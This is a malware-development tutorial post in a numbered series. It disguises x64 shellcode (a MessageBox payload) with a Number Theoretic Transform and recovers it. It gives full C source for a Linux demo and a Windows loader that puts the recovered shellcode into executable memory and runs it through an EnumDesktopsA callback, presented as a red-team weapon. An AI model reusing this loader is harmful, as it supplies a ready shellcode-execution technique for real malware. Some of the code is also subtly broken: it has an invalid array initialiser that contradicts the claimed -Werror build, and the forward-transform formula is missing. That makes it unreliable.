Malware and cryptography 48 - transform and recover payload via Number Theoretic Transform. Simple C example.
﷽
Hello, cybersecurity enthusiasts and white hackers!

In the previous part 47, I encrypted and decrypted payload with Trivium. As usual, exploring various crypto algorithms and transformations, I decided to check what would happen if we apply another trick to encrypt/decrypt the payload. I apply the Number Theoretic Transform (NTT) to the same 313 bytes.
Number Theoretic Transform
The NTT is a discrete Fourier transform over a finite field. It replaces complex arithmetic with integer arithmetic modulo a prime number. That makes the forward and inverse calculations exact: there are no floating-point coefficients to round.
For a block of N values and a primitive Nth root of unity \(\omega\) modulo \(p\), the forward transform is:
The inverse transform is:
\[x_j = N^{-1} \sum_{k=0}^{N-1} X_k \omega^{-jk} \pmod p.\]I use \(N=256\), \(p=257\) and \(\omega=3\). The value 3 has order 256 modulo 257: \(3^{256} \equiv 1 \pmod{257}\) and \(3^{128} \equiv -1 \pmod{257}\). The inverse transform uses \(3^{-1} \equiv 86 \pmod{257}\) and \(256^{-1} \equiv 256 \pmod{257}\).
Each input byte is a field element from 0 through 255. A transformed coefficient can also be 256, so I store coefficients in uint16_t. The payload is 313 bytes: the program processes two 256-value blocks, filling the last 199 positions with zero. After the inverse transform, it discards those padding values and compares the recovered bytes with the original.
The forward and inverse NTT here are a reversible representation change, not encryption. The transform has no secret key and provides no confidentiality; this example shows exact recovery of the payload before the Windows run.
practical example
First of all, mod_pow() calculates powers modulo 257 by repeated squaring. The NTT uses it to calculate each butterfly’s root step and the modular inverses needed by the reverse transform.
The transform first reorders the coefficients into bit-reversed order. Each radix-2 butterfly combines a pair of values. For a current root factor \(w\), the pair \(a,b\) becomes \(a+bw\) and \(a-bw\) modulo 257:
uint32_t even = values[start + j];
uint32_t odd = (values[start + j + length / 2] * factor) % MODULUS;
uint32_t sum = even + odd;
uint32_t difference = even + MODULUS - odd;
The inverse uses the reciprocal root and multiplies every result by \(N^{-1}\). The program checks the chosen root’s order, restores each block and compares all 313 bytes before proceeding.
The complete Linux script looks like this (hack.c):
/*
* hack.c - NTT transform and recovery of the Meow-meow payload
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2026/12/01/malware-cryptography-48.html
*/
#include <stdint.h>
#include <stdio.h>
#include <string.h>
static const uint8_t payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
#define NTT_SIZE 256
#define MODULUS 257
#define NTT_ROOT 3
#define PAYLOAD_LENGTH (sizeof(payload) - 1)
#define BLOCK_COUNT ((PAYLOAD_LENGTH + NTT_SIZE - 1) / NTT_SIZE)
static uint16_t mod_pow(uint32_t base, uint32_t exponent) {
uint32_t result = 1;
uint32_t factor = base;
while (exponent != 0) {
if (exponent & 1) result = (result * factor) % MODULUS;
factor = (factor * factor) % MODULUS;
exponent >>= 1;
}
return (uint16_t)result;
}
static void ntt(uint16_t values[NTT_SIZE], int inverse) {
for (size_t i = 1, j = 0; i < NTT_SIZE; i++) {
size_t bit = NTT_SIZE >> 1;
while (j & bit) {
j ^= bit;
bit >>= 1;
}
j ^= bit;
if (i < j) {
uint16_t tmp = values[i];
values[i] = values[j];
values[j] = tmp;
}
}
uint16_t root = inverse ? mod_pow(NTT_ROOT, MODULUS - 2) : NTT_ROOT;
for (size_t length = 2; length <= NTT_SIZE; length <<= 1) {
uint16_t root_step = mod_pow(root, NTT_SIZE / length);
for (size_t start = 0; start < NTT_SIZE; start += length) {
uint32_t factor = 1;
for (size_t j = 0; j < length / 2; j++) {
uint32_t even = values[start + j];
uint32_t odd = (values[start + j + length / 2] * factor) % MODULUS;
uint32_t sum = even + odd;
uint32_t difference = even + MODULUS - odd;
values[start + j] = (uint16_t)(sum >= MODULUS ? sum - MODULUS : sum);
values[start + j + length / 2] = (uint16_t)(difference >= MODULUS ? difference - MODULUS : difference);
factor = (factor * root_step) % MODULUS;
}
}
}
if (inverse) {
uint16_t inverse_size = mod_pow(NTT_SIZE, MODULUS - 2);
for (size_t i = 0; i < NTT_SIZE; i++)
values[i] = (uint16_t)((values[i] * inverse_size) % MODULUS);
}
}
static void print_hex(const char *label, const uint8_t *data, size_t length) {
printf("%s", label);
for (size_t i = 0; i < length; i++) {
printf("%02x", data[i]);
if ((i + 1) % 16 == 0 || i + 1 == length) printf("\n");
else printf(" ");
}
}
int main(void) {
uint16_t transformed[BLOCK_COUNT][NTT_SIZE] = 0;
uint8_t recovered[PAYLOAD_LENGTH] = {0};
const size_t padding = BLOCK_COUNT * NTT_SIZE - PAYLOAD_LENGTH;
if (mod_pow(NTT_ROOT, NTT_SIZE) != 1 ||
mod_pow(NTT_ROOT, NTT_SIZE / 2) != MODULUS - 1) {
fprintf(stderr, "NTT root check failed\n");
return 1;
}
puts("NTT parameters: N=256, modulus=257, root=3");
printf("payload: %zu bytes, %zu blocks, %zu zero-padding values\n",
(size_t)PAYLOAD_LENGTH, (size_t)BLOCK_COUNT, padding);
for (size_t block = 0; block < BLOCK_COUNT; block++) {
uint16_t values[NTT_SIZE] = {0};
for (size_t i = 0; i < NTT_SIZE; i++) {
size_t position = block * NTT_SIZE + i;
if (position < PAYLOAD_LENGTH) values[i] = payload[position];
}
ntt(values, 0);
memcpy(transformed[block], values, sizeof(values));
}
printf("transformed payload (%zu field coefficients):\n",
(size_t)(BLOCK_COUNT * NTT_SIZE));
for (size_t block = 0; block < BLOCK_COUNT; block++) {
for (size_t i = 0; i < NTT_SIZE; i++) {
size_t index = block * NTT_SIZE + i;
printf("%03x%c", (unsigned)transformed[block][i],
(index + 1) % 16 == 0 ? '\n' : ' ');
}
}
for (size_t block = 0; block < BLOCK_COUNT; block++) {
uint16_t values[NTT_SIZE];
memcpy(values, transformed[block], sizeof(values));
ntt(values, 1);
for (size_t i = 0; i < NTT_SIZE; i++) {
size_t position = block * NTT_SIZE + i;
if (position < PAYLOAD_LENGTH) {
if (values[i] > 255) {
fprintf(stderr, "recovered value is outside byte range\n");
return 1;
}
recovered[position] = (uint8_t)values[i];
}
}
}
if (memcmp(recovered, payload, PAYLOAD_LENGTH) != 0) {
fprintf(stderr, "inverse NTT round-trip failed\n");
return 1;
}
printf("inverse NTT round-trip: OK (%zu bytes)\n", (size_t)PAYLOAD_LENGTH);
print_hex("recovered payload: ", recovered, PAYLOAD_LENGTH);
puts("linux demo successfully transforms and restores the payload.");
return 0;
}
demo 1. Linux: transform and restore the payload
Let’s see how this code works, compile the Linux example:
gcc -std=c11 -O2 -Wall -Wextra -Werror hack.c -o hack

and run:
./hack

The program prints all 512 transformed coefficients as three-digit hexadecimal field values, then prints the complete recovered payload as bytes. It confirms the 313-byte round-trip before exiting:


So, as you can see, everything works as expected here.
practical example 2
What about Windows and payload transformation? As usual, here, the Windows “malware” (hack2.c) performs the same forward and inverse NTT. It prints all 512 transformed coefficients, then prints the complete recovered payload and checks it against the original before allocating executable memory and calling it through EnumDesktopsA.
/*
* hack2.c - NTT transform and recovery of the Meow-meow payload
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2026/12/01/malware-cryptography-48.html
*/
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>
#ifndef _WIN64
#error Build this example for Windows x64.
#endif
static const uint8_t payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
#define NTT_SIZE 256
#define MODULUS 257
#define NTT_ROOT 3
#define PAYLOAD_LENGTH (sizeof(payload) - 1)
#define BLOCK_COUNT ((PAYLOAD_LENGTH + NTT_SIZE - 1) / NTT_SIZE)
static uint16_t mod_pow(uint32_t base, uint32_t exponent) {
uint32_t result = 1;
uint32_t factor = base;
while (exponent != 0) {
if (exponent & 1) result = (result * factor) % MODULUS;
factor = (factor * factor) % MODULUS;
exponent >>= 1;
}
return (uint16_t)result;
}
static void ntt(uint16_t values[NTT_SIZE], int inverse) {
for (size_t i = 1, j = 0; i < NTT_SIZE; i++) {
size_t bit = NTT_SIZE >> 1;
while (j & bit) {
j ^= bit;
bit >>= 1;
}
j ^= bit;
if (i < j) {
uint16_t tmp = values[i];
values[i] = values[j];
values[j] = tmp;
}
}
uint16_t root = inverse ? mod_pow(NTT_ROOT, MODULUS - 2) : NTT_ROOT;
for (size_t length = 2; length <= NTT_SIZE; length <<= 1) {
uint16_t root_step = mod_pow(root, NTT_SIZE / length);
for (size_t start = 0; start < NTT_SIZE; start += length) {
uint32_t factor = 1;
for (size_t j = 0; j < length / 2; j++) {
uint32_t even = values[start + j];
uint32_t odd = (values[start + j + length / 2] * factor) % MODULUS;
uint32_t sum = even + odd;
uint32_t difference = even + MODULUS - odd;
values[start + j] = (uint16_t)(sum >= MODULUS ? sum - MODULUS : sum);
values[start + j + length / 2] = (uint16_t)(difference >= MODULUS ? difference - MODULUS : difference);
factor = (factor * root_step) % MODULUS;
}
}
}
if (inverse) {
uint16_t inverse_size = mod_pow(NTT_SIZE, MODULUS - 2);
for (size_t i = 0; i < NTT_SIZE; i++)
values[i] = (uint16_t)((values[i] * inverse_size) % MODULUS);
}
}
static void print_hex(const char *label, const uint8_t *data, size_t length) {
printf("%s", label);
for (size_t i = 0; i < length; i++) {
printf("%02x", data[i]);
if ((i + 1) % 16 == 0 || i + 1 == length) printf("\n");
else printf(" ");
}
}
int main(void) {
uint16_t transformed[BLOCK_COUNT][NTT_SIZE] = 0;
uint8_t recovered[PAYLOAD_LENGTH] = {0};
if (mod_pow(NTT_ROOT, NTT_SIZE) != 1 ||
mod_pow(NTT_ROOT, NTT_SIZE / 2) != MODULUS - 1) {
fprintf(stderr, "NTT root check failed\n");
return 1;
}
for (size_t block = 0; block < BLOCK_COUNT; block++) {
uint16_t values[NTT_SIZE] = {0};
for (size_t i = 0; i < NTT_SIZE; i++) {
size_t position = block * NTT_SIZE + i;
if (position < PAYLOAD_LENGTH) values[i] = payload[position];
}
ntt(values, 0);
memcpy(transformed[block], values, sizeof(values));
}
printf("transformed payload (%zu field coefficients):\n",
(size_t)(BLOCK_COUNT * NTT_SIZE));
for (size_t block = 0; block < BLOCK_COUNT; block++) {
for (size_t i = 0; i < NTT_SIZE; i++) {
size_t index = block * NTT_SIZE + i;
printf("%03x%c", (unsigned)transformed[block][i],
(index + 1) % 16 == 0 ? '\n' : ' ');
}
}
for (size_t block = 0; block < BLOCK_COUNT; block++) {
uint16_t values[NTT_SIZE];
memcpy(values, transformed[block], sizeof(values));
ntt(values, 1);
for (size_t i = 0; i < NTT_SIZE; i++) {
size_t position = block * NTT_SIZE + i;
if (position < PAYLOAD_LENGTH) {
if (values[i] > 255) {
fprintf(stderr, "recovered value is outside byte range\n");
return 1;
}
recovered[position] = (uint8_t)values[i];
}
}
}
if (memcmp(recovered, payload, PAYLOAD_LENGTH) != 0) {
fprintf(stderr, "inverse NTT round-trip failed\n");
return 1;
}
printf("inverse NTT round-trip: OK (%zu bytes)\n", (size_t)PAYLOAD_LENGTH);
print_hex("recovered payload: ", recovered, PAYLOAD_LENGTH);
void *memory = VirtualAlloc(NULL, PAYLOAD_LENGTH,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (memory == NULL) {
fprintf(stderr, "VirtualAlloc failed\n");
return 1;
}
memcpy(memory, recovered, PAYLOAD_LENGTH);
DWORD old_protection;
if (!VirtualProtect(memory, PAYLOAD_LENGTH, PAGE_EXECUTE_READ,
&old_protection)) {
fprintf(stderr, "VirtualProtect failed\n");
VirtualFree(memory, 0, MEM_RELEASE);
return 1;
}
FlushInstructionCache(GetCurrentProcess(), memory, PAYLOAD_LENGTH);
puts("running recovered Meow-meow payload");
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)memory, 0);
VirtualFree(memory, 0, MEM_RELEASE);
return 0;
}
As you can see, the only difference is payload running.
demo 2. Windows: restore and run Meow-meow
Let’s go to see this in action. First of all, build the x64 executable with MinGW-w64:
x86_64-w64-mingw32-gcc -std=c11 -O2 -Wall -Wextra -Werror hack2.c -o hack2.exe -mconsole -s -ffunction-sections -fdata-sections -luser32

Run hack2.exe on Windows x64. The program verifies the inverse transform before calling the recovered payload; the Meow-meow! MessageBox should appear.







conclusion
The modulus 257 is the Fermat prime \(2^8+1\), so its nonzero elements form a multiplicative group of exactly 256 values - the size needed for this transform. In this field, \(3^{128} \equiv -1 \pmod{257}\) is enough to show that 3 has the full order 256 used by the NTT.
I hope this post is useful for malware researchers, C programmers, spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.
Number Theoretic Transform
Malware and cryptography 1
Malware and cryptography 47
Malware development tricks. Run shellcode via EnumDesktopsA. C++ example.
Malware development trick 39: Run payload via EnumDesktopsA. Simple Nim example
source code in github
Thanks for your time, happy hacking and good bye!
PS. All drawings and screenshots are mine
This is a practical case for educational and research purposes only.